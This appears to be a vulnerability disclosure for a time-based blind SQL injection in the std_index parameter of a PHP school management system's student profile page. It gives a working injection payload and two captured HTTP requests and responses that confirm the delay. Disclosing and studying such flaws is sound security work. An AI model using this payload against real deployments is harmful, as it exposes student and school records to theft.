

SQL injection vulnerability exists in std_index parameter of /view/student_profile1.php file of Complete Web-Based School Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 4s:

The screenshot displays the 'Request' and 'Response' tabs of a web browser's developer tools. The 'Request' tab shows a GET request to /std1/view/student_profile1.php?std_index=0'XOR(if(now())=sysdate())%2Csleep(4)%2C0))XOR'Z. The 'Response' tab shows an HTTP 200 OK response from nginx/1.15.11, with a Date of Thu, 18 Apr 2024 16:42:54 GMT. The response body contains HTML code for a modal dialog, indicating a successful page load.

```
Request
1 GET /std1/view/student_profile1.php?std_index=
  0'XOR(if(now())=sysdate())%2Csleep(4)%2C0))XOR'Z
  HTTP/1.1
2 Accept: */*
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/std1
5 Cookie: PHPSESSID=95dng85hgflj1vcqlqqbcm92pd
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
  x64) AppleWebKit/537.36 (KHTML, like Gecko)
  Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
10
11

Response
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Thu, 18 Apr 2024 16:42:54 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 3928
8
9
10 <div class="modal msk-fade" id="modalviewStudent"
  tabindex="-1" role="dialog" aria-labelledby="
  insert_alert1" aria-hidden="true" data-backdrop="
  static" data-keyboard="false">
11   <div class="modal-dialog">
12     <!--modal-dialog -->
13     <div class="container col-lg-12 ">
14       <!--modal-content -->
15       <div class="row">
16         <div class="col-md-12">
17           <div class="panel">
18             <!--panel bg-maroon-->
```

Sleep time is 12s:

The screenshot displays the 'Request' and 'Response' tabs of a web browser's developer tools. The 'Request' tab shows a GET request to /std1/view/student_profile1.php?std_index=0'XOR(if(now())=sysdate())%2Csleep(12)%2C0))XOR'Z. The 'Response' tab shows an HTTP 200 OK response from nginx/1.15.11, with a Date of Thu, 18 Apr 2024 16:42:43 GMT. The response body contains HTML code for a modal dialog, indicating a successful page load.

```
Request
1 GET /std1/view/student_profile1.php?std_index=
  0'XOR(if(now())=sysdate())%2Csleep(12)%2C0))XOR'Z
  HTTP/1.1
2 Accept: */*
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/std1
5 Cookie: PHPSESSID=95dng85hgflj1vcqlqqbcm92pd
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
  x64) AppleWebKit/537.36 (KHTML, like Gecko)
  Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
10
11

Response
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Thu, 18 Apr 2024 16:42:43 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 3928
8
9
10 <div class="modal msk-fade" id="modalviewStudent"
  tabindex="-1" role="dialog" aria-labelledby="
  insert_alert1" aria-hidden="true" data-backdrop="
  static" data-keyboard="false">
11   <div class="modal-dialog">
12     <!--modal-dialog -->
13     <div class="container col-lg-12 ">
14       <!--modal-content -->
15       <div class="row">
16         <div class="col-md-12">
17           <div class="panel">
18             <!--panel bg-maroon-->
```

Payload: std_index=0'XOR(if(now())=sysdate())%2Csleep(4)%2C0))XOR'Z

Source Download:

<https://www.campcodes.com/projects/php/web-based-school-management-system/>